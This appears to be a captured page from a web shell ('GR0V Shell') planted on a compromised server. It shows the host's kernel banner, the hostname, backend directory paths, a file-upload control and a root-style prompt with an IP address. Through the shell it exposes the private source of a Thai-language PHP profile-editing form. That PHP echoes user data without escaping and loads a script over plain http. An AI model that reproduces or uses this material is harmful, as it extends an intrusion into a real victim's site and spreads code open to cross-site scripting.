? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html/backend/modules/profile/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html/backend/modules/profile/com_edit_profile.php

<?
require_once('function.php');

global $db,$user_login;
$data=$db->getDataOneRow('user_profile',$user_login['ID'],'user_id');
$data2=$db->getDataOneRow('users',$user_login['Login'],'user_login');
/*if($data['photo']!=''){
$data['photo']=$data['photo'];
}else{
$data['photo']='images.jpg';
}*/
?>
  <script type="text/javascript" src="http://js.nicedit.com/nicEdit-latest.js"></script> <script type="text/javascript">
//<![CDATA[
        bkLib.onDomLoaded(function() { nicEditors.allTextAreas() });
  //]]>
  </script>
<div class="content" style="margin-top:15px;">
    	<div class="title"><img style="padding:10px 0 0 15px; float:left;" src="images/icons/dark/create.png" alt="" />
    	<h5>แก้ไขข้อมูลส่วนตัว</h5>
    	</div>
 
         <!-- Form begins -->
        <form method="post" action="<? echo"$PHPSELF?mod=profile&ac=edit_profile";?>" enctype="multipart/form-data">
        
        	<!-- Input text fields -->
            <fieldset>
                <div class="widget first">

                        <div class="rowElem" style="border-top:1px solid #cccccc;"><label>รูปถ่าย</label>
                        <div class="formRight">
						<?
						if($data['photo'] == ''){
						?>
						<img src="images/avatar.png">
						<?
						}else{
						?>
						<img src="images/<?=$data['photo'];?>" width="55" height="54" >
						<?
						}
						?><br />
						<input  type="file" name="files" class="basicBtn" size="45">
						ประเภทไฟล์ JPG, GIF, PNG ขนาดไม่ควรเกิน 100 kb
                      
                        </div><div class="fix"></div></div>
						<div class="rowElem"><label>ชื่อ</label>
						<div class="formRight"><input type="text" name="name"  value="<?=$data['name'];?>"></div><div class="fix"></div></div>
						<div class="rowElem"><label>นามสกุล</label><div class="formRight"><input type="text" name="lastname" value="<?=$data['lastname'];?>"></div><div class="fix"></div></div>
						<div class="rowElem"><label>ชื่อแสดงหน้าเขียนรีวิว</label>
				  <div class="formRight"><input type="text" name="nickname" value="<?=$data['nickname'];?>"></div><div class="fix"></div></div>
						<div class="rowElem"><label>รายละเอียดผู้เขียนรีวิว</label>
				  <div class="formRight">
				    <textarea name="blogger" cols="100%" rows="6"><?=$data['blogger'];?>
				    </textarea>
				  </div><div class="fix"></div></div>
						<div class="rowElem">
				    <label>วันเกิด</label>
				    <div class="formRight">	  <select name=day>
		<?
		for($i=1;$i<32;$i++){
			if($data['day']==$i){
				echo "<OPTION  selected>".$i."</OPTION>";
			}else{echo "<OPTION >".$i."</OPTION>";}
	}

		?>
</select>
<select name=month>
		<?
		for($i=1;$i<=count($global_Month);$i++){
			if($data['month']==$global_Month[$i]){
				echo "<OPTION  selected>".$global_Month[$i]."</OPTION>";
			}else{	echo "<OPTION >".$global_Month[$i]."</OPTION>";
			}
	}

		?>
</select>
<select name=year>
		<?
		foreach($global_Year as $k=>$v){
			if($data['year']==$v){
				echo "<OPTION selected>".$v."</OPTION>";
			}else{
				echo "<OPTION>$v</OPTION>";
			}
	}

		?>
</select></div><div class="fix"></div></div>
				  <div class="rowElem"><label>Email </label>
				  <div class="formRight">
				    <input name="email1" type="text" id="email1"  value="<?=$data['email1'];?>" />
				  </div><div class="fix"></div></div>
				  <div class="rowElem">
				    <label><div style="font-size:18px"><strong>จัดการระบบ</strong></div>
				    </label><div class="formRight"></div>
				  </div>
						
						
						<div class="rowElem"><label>แก้ไขรหัสผ่าน</label>
						<div class="formRight"><input type="password" name="password"></div>
						<div class="fix"></div></div>
                        <div class="rowElem"><label>ยืนยันรหัสผ่าน</label>
						<div class="formRight"><input type="password" name="repassword"></div>
						<div class="fix"></div></div>
						<div class="rowElem"><label>&nbsp;</label><div class="formRight"><input type="submit" value="บันทึกบทความ" class="greyishBtn" />
						<input type="reset" value="ยกเลิกบทความ" class="basicBtn" /></div><div class="fix"></div></div>

                        <div class="fix"></div>

                </div>
            </fieldset>
            
        </form>
        
</div>

<br>

T1KUS90T
  root-grov@210.1.60.28:~$